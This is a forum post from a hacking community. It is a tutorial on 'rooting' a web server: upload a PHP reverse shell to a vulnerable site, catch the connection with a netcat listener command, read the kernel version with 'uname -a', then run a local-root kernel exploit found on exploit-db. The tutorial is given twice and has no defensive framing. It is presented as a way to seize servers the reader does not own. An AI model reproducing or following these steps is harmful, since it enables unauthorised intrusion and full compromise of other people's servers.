Rooting server + video 11-08-2012, 02:32 PM
#1
In This tutorial I will write about rooting server with php-reverse shell and netcat command shell trojan and forward port.
Download php-reverse shell
Download netcat
Download netcat for windows
First you need to find dir.(in the server)where u have full rights (read write execute...) upload php reverse shell there
Now open php-rever shell with notepad++(or other editor) scroll down and you will se
$ip = your ip
$port = your open port
Now upload it to vulnerable site
Its time to run netcat
extract the zip file in c:/ or somewhere where its east to locate with CMD
Start cmd and locate netcat folder
![[Image: nc1l.jpg]](http://img825.imageshack.us/img825/8072/nc1l.jpg)
Run nc.exe and enter this command
![[Image: nc2be.jpg]](http://img266.imageshack.us/img266/4447/nc2be.jpg)
And should say "Listening on [any] Your Port "
![[Image: nc3v.jpg]](http://img254.imageshack.us/img254/8236/nc3v.jpg)
Now open the php-reverse shell (From the site you have upload it)
You are connected !
Here is video on how to do it
Now its time for r00t1ng =D
Now go back to your shell(not the php-reverse the one u have use to upload it) and search for kernel information "many time is this command uname -a" when you find it
it will show something like
So our Kernel version is 1.2.17-194
Go to exploit-db 1337day or other site for exploits and search for Local Root Your kernel version; Local Root 2.6.17-194 in my case
When you find it download it compile it and run in on the server (download and compile on your pc and run it on the server)
Now you should have root access to the server
Here is video i you haven't undrastand it this isn't hard but it's not for beginners
RFI+ Remote to Local shell + rooting
I haven't create this video but I have make the tutorial
Download php-reverse shell
Download netcat
Download netcat for windows
First you need to find dir.(in the server)where u have full rights (read write execute...) upload php reverse shell there
Now open php-rever shell with notepad++(or other editor) scroll down and you will se
Code:
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS$ip = your ip
$port = your open port
Now upload it to vulnerable site
Its time to run netcat
extract the zip file in c:/ or somewhere where its east to locate with CMD
Start cmd and locate netcat folder
![[Image: nc1l.jpg]](http://img825.imageshack.us/img825/8072/nc1l.jpg)
Run nc.exe and enter this command
Code:
-v -n -l -p Your Port![[Image: nc2be.jpg]](http://img266.imageshack.us/img266/4447/nc2be.jpg)
And should say "Listening on [any] Your Port "
![[Image: nc3v.jpg]](http://img254.imageshack.us/img254/8236/nc3v.jpg)
Now open the php-reverse shell (From the site you have upload it)
You are connected !
Here is video on how to do it
Now its time for r00t1ng =D
Now go back to your shell(not the php-reverse the one u have use to upload it) and search for kernel information "many time is this command uname -a" when you find it
it will show something like
Code:
Systeminfo
Linux target host 1.2.1.17-194 ...etc
Userinfo
uid=48(apache) gid=48(apache) groups=48(apache)So our Kernel version is 1.2.17-194
Go to exploit-db 1337day or other site for exploits and search for Local Root Your kernel version; Local Root 2.6.17-194 in my case
When you find it download it compile it and run in on the server (download and compile on your pc and run it on the server)
Now you should have root access to the server
Here is video i you haven't undrastand it this isn't hard but it's not for beginners
RFI+ Remote to Local shell + rooting
I haven't create this video but I have make the tutorial




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)

![[Image: lupado1c3f2.png]](http://www.auplod.com/u/lupado1c3f2.png)